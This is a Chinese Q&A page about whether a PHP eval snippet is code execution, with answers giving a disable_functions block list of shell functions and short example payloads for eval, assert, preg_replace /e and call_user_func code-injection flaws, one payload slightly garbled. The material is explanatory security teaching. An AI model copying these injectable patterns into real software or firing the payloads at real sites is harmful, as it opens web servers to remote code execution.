Payload:<? php eval('phpinfo();');?>可否为php代码执行?
发布网友
发布时间:2022-04-07 04:58
我来回答
共2个回答
懂视网
时间:2022-04-07 09:19
disable_functions =
passthru,exec,system,chroot,chgrp,chown,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,
syslog,readlink,popepassthru,stream_socket_server
推荐教程:《PHP教程》
热心网友
时间:2022-04-07 06:27
代码执行漏洞是指应用程序本身过滤不严,攻击者可以通过请求将代码注入到应用中,最终在web服务器上去执行。
危险函数执行PHP代码的有:
eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), create_function(), array_map()等。
1.eval()和assert()函数本身就可动态执行代码,其参数就是PHP代码
payload: <? eval('phpinfo();');?>
2.preg_replace()函数的第一个参数存在e修饰符时,第二个参数和第三个参数可能当作PHP代码被执行
preg_replace漏洞触发有两个前提:
第一个参数需要e标识符,有了它可以执行第二个参数的命令
第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just test’);这样是可以执行命令的
//echo preg_replace(‘/test/e’, ‘phpinfo()’, ‘just tesxt’); 或者echo preg_replace(‘/tesxt/e’, ‘phpinfo()’, ‘just test’); 这两种没有匹配上,所以返回值是第三个参数,不会执行命令
payload:
<?php preg_replace('/
(.∗)
(.∗)
/e','\\1','$_GET['a']);?>
请求1.php?a=[phpinfo()]
3.call_user_func()和array_map()等函数的作用就是调用其他函数,并将第二个参数作为回调函数的参数
payload:
<?php $b='phpinfo()'; call_user_func($_GET['a'],$b);?>
请求1.php?a=assert, 则调用了assert函数